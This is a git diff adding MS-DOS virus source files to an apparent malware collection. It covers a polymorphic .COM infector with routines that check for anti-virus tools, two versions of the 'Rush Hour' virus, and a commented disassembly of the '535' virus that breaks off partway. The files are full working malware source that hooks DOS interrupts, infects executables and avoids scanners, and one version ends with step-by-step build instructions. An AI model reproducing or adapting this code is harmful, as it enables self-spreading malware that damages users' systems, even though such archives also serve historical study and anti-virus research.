Bl,B[Cs:ThePush] +Cmp Bl,053h +Je BxIsTheRegister +Cmp Bl,057H +Jne SiIsTheregister +Mov Al,4 +Jmp MutateTheCode3 +SiIsTheRegister: +Mov Al,1 +BxIsTheRegister: +MutateTheCode3: +Xor B[Cs:ThePush],Al ; Switch To SI register +Xor B[Cs:ThePop],Al ; // +Xor B[Cs:TheMov],Al ; +Xor B[Cs:TheAdd+1],Al ; +Xor B[Cs:TheCmp+1],Al ; +Cmp Al,1 ; +Je MutationDone ; +Sub Al,2 ; +MutationDone: ; +Xor B[Cs:TheXor+2],Al ; +Pop Bx +Pop Ax +RET + +;FVBM proc near ; First five bytes mutator +;PushA +;Lea Si,CodeTable ; Offset of our table +;Push Cs ; +;Push Cs ; +;Pop Ds ; +;Pop Es ; +;Add Si,B[Cs:pointer] ; +;Mov Cx,0005 ; Copy 5 bytes +;Cld ; +;RepZ MovSB ; Blit +;Add B[Cs:pointer],5 ; +;Cmp B[Cs:pointer],25 ; are we at the end of the table +;Jne Allright1 ; +;Mov B[Cs:pointer],0 ; +;Allright1: ; +;Mov Ax,02CH ; Input from the timer +;int 021H ; +;Xor Dh,Dl ; +;Mov B[Cs:Mutate+1],Ch ; +;Xor Dl,Cl ; +;Mov B[Cs:Mutate+3],Dl ; +;PopA ; +;Ret ; return to the caller +;CodeTable: ; +One1 : Mov Ah,0 ; +;; Sub Al,0 ; +; Nop ; +; ; +;Two2 : mov Ch,0 ; +; add Bl,0 ; +; Cld ; +; ; +;Three3: adc Cl,0 ; +; sub Ch,0 ; +; Stc ; +; +;Four4 : Mov Bh,0 +; Mov Cl,0 +; Nop +; +;CodeTableEnd: +;Pointer Db 0 ; + ; + ; +;****************************** +;****************************** +;** Resident part ** +;** By X ** +;****************************** +;****************************** +HideINT21H Proc Near ; +PopA ; +Mov Bx,W[Cs:OLDint21] ; +Mov Es,Bx ; +Mov Bx,W[Cs:Oldint21+2] ; +Iret ; + ; +INT21Handler proc ; +Cmp Ax,04B00H ; +Je Exec ; +;Cmp Ax,03521H ; +;Jne NoHide ; +;Call HideINT21H ; +;NoHide: ; +;Cmp Ax,02521H ; +;Jne Nothinginterresting ; +;Call SimulateINT21H ; +Nothinginterresting: ; +Mov B[Cs:FromTheHandler],1 ; +Jmp ExitFromINT21 ; +Read: ; +Exec: ; + +Mov Ax,03D02H ; +Int 021H ; +Jnc OpenSuccess ; Good .. +Jmp OpenFailed ; This operation Failed .. +OpenSuccess: ; +Mov W[Cs:Handle],Ax ; +Mov Si,Dx ; VeriFy if the file has a .COM extension +HereX: ; +Lodsb ; +Cmp al,'.' ; Searh for the Dot +Jne HereX ; +Dec Si ; +Dec Si ; +Dec Si ; +LodsW ; +Or Ax,02020H ; +Cmp Ax,'dn' ; Test For command.com +Jne NotCommand ; +Jmp ExitSimple ; +NotCommand: ; +Lodsb ; +Lodsb ; +Or Al,20H ; . +Cmp Al,'c' ; C +Je ContinueX ; +Jmp ExitSimple ; +ContinueX: ; +LodsW ; +Or Ax,02020H ; O +Cmp Ax,'mo' ; M +Je ComType ; +Jmp ExitSimple ; +ComType: ; Now for Command.COM +;;;;;;;;; ; +Push Ds ; +Push Dx ; +Mov Al,2 ; To the end +Call Seek0 ; +Pop Dx ; +Pop Ds ; +;;;;;;;;; ; +Push Ax ; +Push Cx ; +Push Dx ; +Mov Ah,02CH ; +Int 021H ; +Mov Cx,Ax ; +Xor Cx,Dx ; +Mov W[Cs:Mask],Cx ; Use file size as mutation key +Pop Dx ; +Pop Cx ; +Pop Ax ; +Mov W[Cs:FileSize],Ax ; Save File Size for the Mutation heritant +Cmp Ax,Virlength ; The file is too small? +Jnb NotSmall ; +Jmp ExitSimple ; Nop ! +NotSmall: ; +Cmp Ax,64000 ; The file is too big? +Jna NotBig ; +Jmp ExitSimple ; No No +NotBig: +;;;;;;;;; +Mov Ax,04300H ; +Int 021H ; +Mov W[Cs:OldAttr],Cx ; Okey .. we have all we need +;;;;;;;;; +Mov Bx,W[Cs:Handle] +Mov Ax,04301H +Xor Cx,Cx +Int 021H +;;;;;;;;; +Push Ds ; Save For later uses (attributes) +Push Dx ; +;;;;;;;;; +Mov Ax,05700H ; +Int 021H ; +Mov W[Cs:OldTime],Cx ; Save File Time +Mov W[Cs:OldDate],Dx ; Save File date +And Cx,01FH ; Several viruses use this indicator (second=62) +Cmp Cx,01FH ; +Jne NotInfected +Jmp CloseAndExit ; Infected .. leave it alone . +NotInfected: +;;;;;;;;; ; +Xor Ax,Ax ; Seek to the Begining of the file (AL=0) +Call Seek0 ; +;;;;;;;;; ; +InfectTheFile: ; I love this part ! +Mov Bx,W[Cs:Handle] ; +Mov Ah,03FH ; Read The Top of the File +Push Cs ; +Pop Ds ; To The buffer .. +Lea Dx,ViriiEnd ; The buffer is located at the end of the virus +Mov Cx,Virlength ; Number of bytes to read +Int 021H ; (ViriiEnd = virlength+0100h) +Jnc Continue6 ; +Jmp CloseAndExit ; Something is going wrong +Continue6: ; +;;;;;;;;; ; +Mov Al,2 ; Seek To the end +Call Seek0 ; +;;;;;;;;; ; Encrypt the Code +Mov Bx,W[Cs:Mask] ; get the virus Mask +Mov Ah,02CH ; Get a random Value +Int 021H ; From the timer +Xor Bx,Dx ; Good Good ... +Mov B[Cs:LocalKey],Bl ; Use This as The original code encryptor +Mov Dl,Bl +;;;;;;;;; ; +;Mov Cx,Virlength ; Encrypte the original code to make it harder +;Lea Bx,ViriiEnd ; to detect by virus scanners. +;Here4: ; +;Xor B[Cs:Bx],Dl ; +;Inc Bx ; +;Loop Here4 ; +;;;;;;;;; ; +Lea Dx,ViriiEnd ; +Push Cs ; +Pop Ds ; +Mov Bx,W[Cs:Handle] ; +Mov Cx,Virlength ; +Mov Ah,040H ; Write the code to the end +Int 021H ; +Jc CloseAndExit ; Bad .. +;;;;;;;;; ; +Xor Ax,Ax ; +Call Seek0 ; Seek to the begining of the file +;;;;;;;;; ; Copy The viral code to the peace of code + ; we read +Mov B[Cs:J_N_E],077H ; +Mov B[Cs:InTSR],0 ; +Push Cs ; +Push Cs ; +Pop Ds ; +Pop Es ; +Lea Si,Mutate ; First We Blit The Mutation Engine +Lea Di,ViriiEnd ; +Mov Cx,MutatorSize ; +Cld +Repz MovsB ; +Mov Cx,BodySize2 ; And blit the body after some mutations +Mov Bx,W[Cs:Mask] ; Mouahahahah ... +Here5: ; +LodsW ; +Xor Ax,Bx ; +StosW ; +Loop Here5 ; +;;;;;;;;; ; +Mov B[Cs:J_N_E],072H ; +Mov B[Cs:InTSR],1 ; And restore the TSR Flag +Push Cs ; +Pop Ds ; +Mov Dx,offset ViriiEnd ; +Mov Bx,W[Cs:Handle] ; +Mov Cx,Virlength ; +Mov Ah,040H ; Write The Virus +Int 021H ; +; ; +CloseAndExit: ; +Mov Bx,W[Cs:Handle] ; +Mov Ax,05701H ; +Mov Cx,W[Cs:OldTime] ; Set File Time +Mov Dx,W[Cs:OldDate] ; Set File date +Int 021H ; + ; +Pop Dx ; +Pop Ds ; +Mov Ax,04301H ; +Mov Cx,W[Cs:OldAttr] ; Okey .. we have all we need +Int 021H ; +ExitSimple: ; +Mov Bx,W[Cs:Handle] ; +Mov Ah,03EH ; Close The File +Int 021H ; +OpenFailed: ; +Mov B[Cs:FromTheHandler],1 ; This is the handler +Jmp ExitFromInt21 ; Give me another monstreous mutation ! + ; +Seek0: ; +Xor Cx,Cx ; +Seek: ; +Mov Ah,042H ; Seek to the end or to the begining of the file +Xor Dx,Dx ; Xor Dx,dx +Mov Bx,W[CS:Handle] ; +Int 021H ; +Ret ; + +;****************************** +;****************************** +;** Memory Verifier ** +;** By X ** +;** 18-03-1993 ** +;****************************** +;****************************** +MemoryVerifier Proc Near +Stc ; Set the carry Flag +Cmp Ax,0100H ; The Virus is installed At ????H:0100H +Je NoWay ; Do not take the risk +Cmp Ax,0362H ; VirStop is installed (Fprot) ..nonono +Je NoWay ; +; +Mov Ax,0FA00H ; Test for vsafe (Central Point) ..nonono +Xor Di,Di ; +Mov Dx,05945H ; +Int 013H ; +Cmp Di,04559H ; +Je NoWay ; +; +Mov Ax,0FF0FH ; +Int 021H ; VirexPc/Flushot INSTALLATION CHECK +Cmp Ax,101H ; +Je NoWay ; Never , never , never ! +; +Mov Ax,04B4DH ; Murphy 2 INSTALLATION CHECK +Int 021H +jnc NoWay ; Nah ! +; +Mov Ax,04B59H ; Murphy 1 INSTALLATION CHECK +Int 021H ; +Jnc NoWay ; Murphy 1 is resident +; +Mov Ax,04BFFH ; CASCADE,Justice & 707 INSTALLATION CHECK +Xor Si,Si ; Si&Di to zero for CASCADE +Xor Di,Di ; +Int 021H +Cmp Bl,0FFH +Je NoWay ; 707 is resident +; +Cmp Di,055AAH +Je NoWay ; Cascade or justice is resident +; +Mov Ax,0357FH ; AgiPlan INSTALLATION CHECK +Int 021H +Cmp Dx,0FFFFH ; +Je NoWay ; AgiPlan is installed +; +Mov Ax,04243H ; Invader INSATLLATION CHACK +Int 021H +Cmp Ax,05678H +Je NoWay ; Invader is resident +; +Clc ; Okey .. +Jmp return +Noway: +Stc +return: +Ret +MemoryVerifier EndP + +DatasArea: ; For Datas storage. +SizeOfTheHole DW 0 +FileSize DW FileLength ; The size of the infected File +inTSR DB 0 +LocalKey DB 0 +Victim_Releated_Datas: +Handle DW 0 +OldAttr DW 0 +OldTime DW 0 +OldDate DW 0 +ViriiEnd: +;Constante +VirLength EQU (ViriiEnd-Virii) +VirSize2 EQU (Virlength/16) * 2 +VirSize4 EQU VirSize2 * 2 +VirLength2 EQU Virlength/2 +MutatorSize EQU TheBody-Mutate +BodySize EQU ViriiEnd-TheBody + +BoDySize2 EQU BoDySize/2 + +TheCenter: +Db 300 dup (0) + +TheCodePart: +Db (Virlength-5) dup (90h) +Mov Ax,04C00h +Int 021H +EndOfFile: +FileLength equ TheCodePart-virii + diff --git a/MSDOS/Virus.MSDOS.Unknown.rush_vir.asm b/MSDOS/Virus.MSDOS.Unknown.rush_vir.asm new file mode 100644 index 00000000..a9ac3cd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rush_vir.asm @@ -0,0 +1,242 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +page 72,132 + title Virus"RUSH HOUR" (c) Hanx ,1992 + name VIRUS + +abso segment at 0 + org 4*10h +video_int dw 2 dup (?) + org 4*21h +dos_int dw 2 dup (?) + org 4*24h +error_int dw 2 dup (?) +abso ends + +code segment + assume cs:code, ds:code, es:code + + org 05ch +fcb label byte +drive db ? +fspec db 11 dup (' ') + org 6ch +fsize dw 2 dup (?) +fdate dw ? +ftime dw ? + org 80h +dta dw 128 dup (?) + + org 071eh + xor ax,ax + mov es,ax + assume es:abso + push cs + pop ds + mov ax,video_int + mov bx,video_int+2 + mov word ptr video_vector,ax + mov word ptr video_vector+2,bx + mov ax,dos_int + mov bx,dos_int+2 + mov word ptr dos_vector,ax + mov word ptr dos_vector+2,bx + cli + mov dos_int,offset virus + mov dos_int+2,cs + mov video_int,offset disease + mov video_int+2,cs + sti + mov ah,0 + int 1ah + mov time_0,dx + lea dx,virus_einde + int 27h +video_vector dd (?) +dos_vector dd (?) +error_vector dw 2 dup (?) +time_0 dw ? + +rndval db 'bfhg' +active db 0 +preset db 0 + db 'A:' +fname db 'KEYBGR COM' + db 0 + +virus proc far + assume cs:code, ds:nothing, es:nothing + push ax + push cx + push dx + mov ah,0 + INT 1AH + SUB DX,TIME_0 + CMP DX,16384 + JL $3 + MOV ACTIVE,1 +$3: pop dx + pop cx + pop ax + cmp ax,4b00h + je $1 +exit_1: jmp dos_vector +$1: push es + push bx + push ds + push dx + mov di,dx + mov drive,0 + mov al,ds:[di+1] + cmp al,':' + jne $5 + mov al,ds:[di] + sub al,'A'-1 + mov drive,al +$5: cld + push cs + pop ds + xor ax,ax + mov es,ax + + assume ds:code, es:abso + + mov ax,error_int + mov bx,error_int+2 + mov error_vector,ax + mov error_vector+2,bx + mov error_int,offset error + mov error_int+2,cs + push cs + pop es + + assume es:code + + lea dx,dta + mov ah,1ah + int 21h + mov bx,11 +$2: mov al,fname-1[bx] + mov fspec-1[bx],al + dec bx + jnz $2 + lea dx,fcb + mov ah,0fh + int 21h + cmp al,0 + jne exit_0 + mov byte ptr fcb+20h,0 + mov ax,ftime + cmp ax,4800h + je exit_0 + mov preset,1 + mov si,100h +$4: lea di,dta + mov cx,128 + rep movsb + lea dx,fcb + mov ah,15h + int 21h + cmp si,offset virus_einde + jl $4 + mov fsize,offset virus_einde -100h + mov fsize+2,0 + mov fdate,0AA3h + mov ftime,4800h + lea dx,fcb + mov ah,10h + int 21h + xor ax,ax + mov es,ax + assume es:abso + mov ax,error_vector + mov bx,error_vector+2 + mov error_int,ax + mov error_int+2,bx + +exit_0: pop dx + pop ds + pop bx + pop es + assume ds:nothing, es:nothing + mov ax,4b00h + jmp dos_vector +virus endp +error proc far + iret +error endp +disease proc far + assume ds:nothing, es:nothing + push ax + push cx + test preset,1 + jz exit_2 + test active,1 + jz exit_2 + in al,61h + and al,0feh + out 61h,al + mov cx,3 +noise: mov al,rndval + xor al,rndval+3 + shl al,1 + shl al,1 + rcl word ptr rndval,1 + rcl word ptr rndval+2,1 + mov ah,rndval + and ah,2 + in al,61h + and al,0fdh + or al,ah + out 61h,al + loop noise + and al,0fch + or al,1 + out 61h,al +exit_2: pop cx + pop ax + jmp video_vector +disease endp + + db 'Dit is een demonstratie van een zogenaamd computervirus.' + db 'Het heeft volledige controle over alle systeem-componenten' + db 'en alle harde schijven en in de drive(s) ingevoerde' + db 'diskettes. Het programma kopieert zichzelf naar andere,' + db 'nog niet besmette besturingssystemen en verspreidt zich op' + db 'die manier ongecontroleerd. In dit geval zijn er geen' + db 'programma`s beschadigd of schijven gewist, omdat dit' + db 'slechts een demonstratie is. Een kwaadaardig virus' + db 'had echter wel degelijk schade aan kunnen richten.' + + org 1c2ah +virus_einde label byte +code ends +end + + +;陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳; +;陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳陳; +;陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳; +;陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳; + diff --git a/MSDOS/Virus.MSDOS.Unknown.rushhour.asm b/MSDOS/Virus.MSDOS.Unknown.rushhour.asm new file mode 100644 index 00000000..4e421d63 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rushhour.asm @@ -0,0 +1,323 @@ +PAGE 72,132 + TITLE Virus "RUSH HOUR" (p) Foxi, 1986 + + NAME VIRUS + +ABS0 SEGMENT AT 0 + ORG 4*10H +VIDEO_INT DW 2 DUP (?) ; VIDEO INTERRUPT + ; VECTOR + ORG 4*21H +DOS_INT DW 2 DUP (?) ; DOS -"- + ORG 4*24H +ERROR_INT DW 2 DUP (?) ; ERROR -"- +ABS0 ENDS + + +CODE SEGMENT + ASSUME CS:CODE, DS:CODE, ES:CODE + + ORG 05CH +FCB LABEL BYTE +DRIVE DB ? +FSPEC DB 11 DUP (' ') ; Filename + ORG 6CH +FSIZE DW 2 DUP (?) +FDATE DW ? ; date of last + ; modification +FTIME DW ? ; time -"- -"- + ORG 80H +DTA DW 128 DUP (?) ; Disk Transfer Area + + ORG 071EH ; end of the normal + ; KEYBGR.COM + + XOR AX,AX + MOV ES,AX ; ES points to ABS0 + ASSUME ES:ABS0 + + PUSH CS + POP DS + + MOV AX,VIDEO_INT ; store old + ; interrupt vectors + MOV BX,VIDEO_INT+2 + MOV word ptr VIDEO_VECTOR,AX + MOV word ptr VIDEO_VECTOR+2,BX + MOV AX,DOS_INT + MOV BX,DOS_INT+2 + MOV word ptr DOS_VECTOR,AX + MOV word ptr DOS_VECTOR+2,BX + CLI + MOV DOS_INT,OFFSET VIRUS ; new DOS vector + ; points to + ; VIRUS + MOV DOS_INT+2,CS + MOV VIDEO_INT,OFFSET DISEASE ; video vector + ; points to DISEASE + MOV VIDEO_INT+2,CS + STI + + MOV AH,0 + INT 1AH ; read TimeOfDay (TOD) + MOV TIME_0,DX + + LEA DX,VIRUS_ENDE + INT 27H ; terminate program + ; remain resident. + +VIDEO_VECTOR Dd (?) +DOS_VECTOR Dd (?) +ERROR_VECTOR DW 2 DUP (?) + +TIME_0 DW ? + +; +; VIRUS main program: +; +; 1. System call AH=4BH ? +; No : --> 2. +; Yes : Test KEYBGR.COM on specified drive +; Already infected? +; Yes : --> 3. +; No : INFECTION ! +; +; 2. Jump to normal DOS +; + +RNDVAL DB 'bfhg' +ACTIVE DB 0 ; not active + +PRESET DB 0 ; first virus not + ; active! + DB 'A:' +FNAME DB 'KEYBGR COM' + DB 0 + + +VIRUS PROC FAR + ASSUME CS:CODE, DS:NOTHING, ES:NOTHING + + PUSH AX + PUSH CX + PUSH DX + + MOV AH,0 ; check if at least 15 + ; min. + INT 1AH ; have elapsed + ; since + SUB DX,TIME_0 ; installation. + CMP DX,16384 ; (16384 ticks of the + ; clock=15 min.) + JL $3 + MOV ACTIVE,1 ; if so, activate + ; virus. + +$3: POP DX + POP CX + POP AX + ; disk access + ; because of the + CMP AX,4B00H ; DOS command + JE $1 ; "Load and execute + ; program" ? +EXIT_1: + JMP DOS_VECTOR ; No : --> continue as normal + +$1: PUSH ES ; ES:BX --> + ; parameter block + PUSH BX ; DS:DX --> filename + PUSH DS ; save registers which + ; will be needed + PUSH DX ; for INT 21H + ; (AH=4BH) + MOV DI,DX + MOV DRIVE,0 ; Set the drive + ; of the + MOV AL,DS:[DI+1] ; program to be + ; executed + CMP AL,':' + JNE $5 + MOV AL,DS:[DI] + SUB AL,'A'-1 + MOV DRIVE,AL + +$5: CLD + PUSH CS + POP DS + XOR AX,AX + MOV ES,AX + ASSUME DS:CODE, ES:ABS0 + + MOV AX,ERROR_INT ; Ignore all + ; disk "errors" + MOV BX,ERROR_INT+2 ; with our own + ; error routine + MOV ERROR_VECTOR,AX + MOV ERROR_VECTOR+2,BX + MOV ERROR_INT,OFFSET ERROR + MOV ERROR_INT+2,CS + + PUSH CS + POP ES + ASSUME ES:CODE + + LEA DX,DTA ; Disk Transfer Area + ; select + MOV AH,1AH + INT 21H + + MOV BX,11 ; transfer the + ; filename +$2: + MOV AL,FNAME-1[BX] ; into FileControlBlock + MOV FSPEC-1[BX],AL + DEC BX + JNZ $2 + + LEA DX,FCB ; open file ( for + ; writing ) + MOV AH,0FH + INT 21H + CMP AL,0 + JNE EXIT_0 ; file does not exist - + ; -> end + MOV byte ptr fcb+20h,0 ; + MOV AX,FTIME ; file already infected ? + CMP AX,4800H + JE EXIT_0 ; YES --> END + + MOV PRESET,1 ; (All copies are + ; virulent !) + MOV SI,100H ; write the VIRUS in + ; the file +$4: + LEA DI,DTA + MOV CX,128 + REP MOVSB + LEA DX,FCB + MOV AH,15H + INT 21H + CMP SI,OFFSET VIRUS_ENDE + JL $4 + + MOV FSIZE,OFFSET VIRUS_ENDE - 100H + MOV FSIZE+2,0 ; set correct + ; file size + MOV FDATE,0AA3H ; set correct date + ; (03-05-86) + MOV FTIME,4800H ; -"- time + ; (09:00:00) + + LEA DX,FCB ; close file + MOV AH,10H + INT 21H + + XOR AX,AX + MOV ES,AX + ASSUME ES:ABS0 + + MOV AX,ERROR_VECTOR ; reset the error + ; interrupt + MOV BX,ERROR_VECTOR+2 + MOV ERROR_INT,AX + MOV ERROR_INT+2,BX + +EXIT_0: + POP DX ; restore the saved + ; registers + POP DS + POP BX + POP ES + ASSUME DS:NOTHING, ES:NOTHING + + MOV AX,4B00H + JMP DOS_VECTOR ; normal function execution + +VIRUS ENDP + +ERROR PROC FAR + IRET ; simply ignore all + ; errors... +ERROR ENDP + +DISEASE PROC FAR + ASSUME DS:NOTHING, ES:NOTHING + + PUSH AX ; These registers will be + ; destroyed! + + TEST PRESET,1 + JZ EXIT_2 + TEST ACTIVE,1 + JZ EXIT_2 + + IN AL,61H ; Enable speaker + AND AL,0FEH ; ( Bit 0 := 0 ) + OUT 61H,AL + + MOV CX,3 ; index loop CX + +NOISE: + MOV AL,RNDVAL ; : + XOR AL,RNDVAL+3 ; : + SHL AL,1 ; generate NOISE + SHL AL,1 ; : + RCL WORD PTR RNDVAL,1 ; : + RCL WORD PTR RNDVAL+2,1 ; : + + MOV AH,RNDVAL ; output some bit + AND AH,2 ; of the feedback + IN AL,61H ; shift register + AND AL,0FDH ; --> noise from speaker + OR AL,AH + OUT 61H,AL + +EXIT_2: + POP CX + POP AX + JMP VIDEO_VECTOR ; jump to the normal + ; VIDEO routine..... +DISEASE ENDP + + DB 'This program is a VIRUS program.' + DB 'Once activated it has control over all' + DB 'system devices and even over all storage' + DB 'media inserted by the user. It continually' + DB 'copies itself into uninfected operating' + DB 'systems and thus spreads uncontrolled.' + + + DB 'The fact that the virus does not destroy any' + DB 'user programs or erase the disk is merely due' + DB 'to a philanthropic trait of the author......' + + ORG 1C2AH + +VIRUS_ENDE LABEL BYTE + +CODE ENDS + + END + +; To get an executable program: +; +; 1.) Assemble and link source +; 2.) Rename EXE file to COM! +; 3.) Load renamed EXE file into DEBUG +; 4.) Reduce register CX to 300H +; 5.) Write COM file to disk with "w" +; 6.) Load COM file virus in DEBUG +; 7.) Load KEYBGR.COM +; 8.) Change addresses 71Eh ff. as follows: +; 71EH: 33 C0 8E C0 0E 1F 26 +; 9.) Write KEYBGR.COM to disk with a length of 1B2A bytes +; +; Source code RUSHHOUR.ASM -- (C) 1986, foxi +; +; Taken from book "Computer Viruses - a high-tech disease" +; +; Source retyped by -=> CyberZone <=- Jon A Johnson +; U/l to Virus Exchange BBS - Sofia, Bulgaria +; +; "Have fun all you Hackers. hahaha" -->JAJ<-- diff --git a/MSDOS/Virus.MSDOS.Unknown.s35.asm b/MSDOS/Virus.MSDOS.Unknown.s35.asm new file mode 100644 index 00000000..ca2dfdf8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.s35.asm @@ -0,0 +1,311 @@ +535 virus: + +11E3:0100 E90404 JMP 0507 +11E3:0103 49 DEC CX +11E3:0104 60 DB 60 +11E3:0105 6D DB 6D +11E3:0106 2035 AND [DI],DH +11E3:0108 3335 XOR SI,[DI] +11E3:010A 205649 AND [BP+49],DL +11E3:010D 52 PUSH DX +11E3:010E 55 PUSH BP +11E3:010F 53 PUSH BX +11E3:0110 210D AND [DI],CX +11E3:0112 0A24 OR AH,[SI] +11E3:0114 0000 ADD [BX+SI],AL + +11E3:04FA 0000 ADD [BX+SI],AL +11E3:04FC B409 MOV AH,09 +11E3:04FE BA0301 MOV DX,0103 +11E3:0501 CD21 INT 21 +11E3:0503 B400 MOV AH,00 +11E3:0505 CD20 INT 20 + ;Belpsi pont +11E3:0507 51 PUSH CX +11E3:0508 BAEE06 MOV DX,06EE +11E3:050B 90 NOP +11E3:050C 8BF2 MOV SI,DX +11E3:050E BF0001 MOV DI,0100 +11E3:0511 B90300 MOV CX,0003 +11E3:0514 FC CLD +11E3:0515 F3 REPZ +11E3:0516 A4 MOVSB ;Eredeti 3 byte vissza +11E3:0517 B430 MOV AH,30 +11E3:0519 CD21 INT 21 ;DOS. vltozat lekrdezse +11E3:051B 3C00 CMP AL,00 +11E3:051D 7503 JNZ 0522 +11E3:051F E9BA01 JMP 06DC +11E3:0522 06 PUSH ES +11E3:0523 B42F MOV AH,2F +11E3:0525 CD21 INT 21 ;DTA. lekrdezse +11E3:0527 8BF2 MOV SI,DX +11E3:0529 899C0300 MOV [SI+0003],BX ;DTA. cim letrolsa +11E3:052D 8C840500 MOV [SI+0005],ES +11E3:0531 07 POP ES +11E3:0532 B41A MOV AH,1A +11E3:0534 BA3000 MOV DX,0030 +11E3:0537 90 NOP +11E3:0538 03D6 ADD DX,SI +11E3:053A CD21 INT 21 ;DTA. bellitsa +11E3:053C 06 PUSH ES +11E3:053D 56 PUSH SI +11E3:053E 33FF XOR DI,DI +11E3:0540 8E062C00 MOV ES,[002C] ;Krnyezet szegmense +11E3:0544 5E POP SI +11E3:0545 56 PUSH SI +11E3:0546 81C61A00 ADD SI,001A +11E3:054A AC LODSB +11E3:054B B90080 MOV CX,8000 ;Max. 32k.byte +11E3:054E F2 REPNZ +11E3:054F AE SCASB +11E3:0550 B90400 MOV CX,0004 ;4 karakteres szo ("PATH") +11E3:0553 AC LODSB ;olvas +11E3:0554 AE SCASB ;hasonlit +11E3:0555 75ED JNZ 0544 +11E3:0557 E2FA LOOP 0553 +11E3:0559 5E POP SI +11E3:055A 07 POP ES +11E3:055B 89BC1200 MOV [SI+0012],DI +11E3:055F 8BDE MOV BX,SI +11E3:0561 81C61F00 ADD SI,001F +11E3:0565 8BFE MOV DI,SI +11E3:0567 EB3B JMP 05A4 +11E3:0569 90 NOP +11E3:056A 83BC120000 CMP WORD PTR [SI+0012],+00 ;Path vge ? +11E3:056F 7503 JNZ 0574 +11E3:0571 E95E01 JMP 06D2 +11E3:0574 1E PUSH DS +11E3:0575 56 PUSH SI +11E3:0576 26 ES: +11E3:0577 8E1E2C00 MOV DS,[002C] ;Krnyezet szegmense +11E3:057B 8BFE MOV DI,SI +11E3:057D 26 ES: +11E3:057E 8BB51200 MOV SI,[DI+0012] +11E3:0582 81C71F00 ADD DI,001F +11E3:0586 AC LODSB +11E3:0587 3C3B CMP AL,3B +11E3:0589 740A JZ 0595 +11E3:058B 3C00 CMP AL,00 +11E3:058D 7403 JZ 0592 +11E3:058F AA STOSB +11E3:0590 EBF4 JMP 0586 +11E3:0592 BE0000 MOV SI,0000 +11E3:0595 5B POP BX +11E3:0596 1F POP DS +11E3:0597 89B71200 MOV [BX+0012],SI +11E3:059B 807DFF5C CMP BYTE PTR [DI-01],5C ;"\" jel ? +11E3:059F 7403 JZ 05A4 +11E3:05A1 B05C MOV AL,5C +11E3:05A3 AA STOSB +11E3:05A4 89BF1400 MOV [BX+0014],DI +11E3:05A8 8BF3 MOV SI,BX +11E3:05AA 81C60C00 ADD SI,000C +11E3:05AE B90600 MOV CX,0006 +11E3:05B1 F3 REPZ +11E3:05B2 A4 MOVSB +11E3:05B3 8BF3 MOV SI,BX +11E3:05B5 B44E MOV AH,4E +11E3:05B7 BA1F00 MOV DX,001F +11E3:05BA 90 NOP +11E3:05BB 03D6 ADD DX,SI +11E3:05BD B90300 MOV CX,0003 +11E3:05C0 CD21 INT 21 ;Els bejegyzs keresse +11E3:05C2 EB05 JMP 05C9 +11E3:05C4 90 NOP +11E3:05C5 B44F MOV AH,4F +11E3:05C7 CD21 INT 21 ;Kvetkez bejegyzs keresse +11E3:05C9 7302 JNB 05CD +11E3:05CB EB9D JMP 056A +11E3:05CD 8B844600 MOV AX,[SI+0046] +11E3:05D1 241D AND AL,1D +11E3:05D3 3C1D CMP AL,1D +11E3:05D5 74EE JZ 05C5 +11E3:05D7 81BC4A0000FA CMP WORD PTR [SI+004A],FA00 +11E3:05DD 77E6 JA 05C5 +11E3:05DF 83BC4A000A CMP WORD PTR [SI+004A],+0A +11E3:05E4 72DF JB 05C5 +11E3:05E6 8BBC1400 MOV DI,[SI+0014] +11E3:05EA 56 PUSH SI +11E3:05EB 81C64E00 ADD SI,004E +11E3:05EF AC LODSB +11E3:05F0 AA STOSB +11E3:05F1 3C00 CMP AL,00 +11E3:05F3 75FA JNZ 05EF +11E3:05F5 5E POP SI +11E3:05F6 B80043 MOV AX,4300 +11E3:05F9 BA1F00 MOV DX,001F +11E3:05FC 90 NOP +11E3:05FD 03D6 ADD DX,SI +11E3:05FF CD21 INT 21 ;Attrib lekrdezse +11E3:0601 898C0A00 MOV [SI+000A],CX +11E3:0605 B80143 MOV AX,4301 +11E3:0608 81E1FEFF AND CX,FFFE +11E3:060C BA1F00 MOV DX,001F +11E3:060F 90 NOP +11E3:0610 03D6 ADD DX,SI +11E3:0612 CD21 INT 21 ;Attrib tllitsa +11E3:0614 B8023D MOV AX,3D02 +11E3:0617 BA1F00 MOV DX,001F +11E3:061A 90 NOP +11E3:061B 03D6 ADD DX,SI +11E3:061D CD21 INT 21 ;File nyitsa +11E3:061F 7303 JNB 0624 +11E3:0621 E99F00 JMP 06C3 +11E3:0624 8BD8 MOV BX,AX +11E3:0626 B80057 MOV AX,5700 +11E3:0629 CD21 INT 21 ;Keletkezsi id lekrdezse +11E3:062B 898C1800 MOV [SI+0018],CX +11E3:062F 89941600 MOV [SI+0016],DX +11E3:0633 B42C MOV AH,2C +11E3:0635 CD21 INT 21 ;id lekrdezse +11E3:0637 80E607 AND DH,07 +11E3:063A 7510 JNZ 064C +11E3:063C B440 MOV AH,40 +11E3:063E B90500 MOV CX,0005 +11E3:0641 8BD6 MOV DX,SI +11E3:0643 81C22B00 ADD DX,002B +11E3:0647 CD21 INT 21 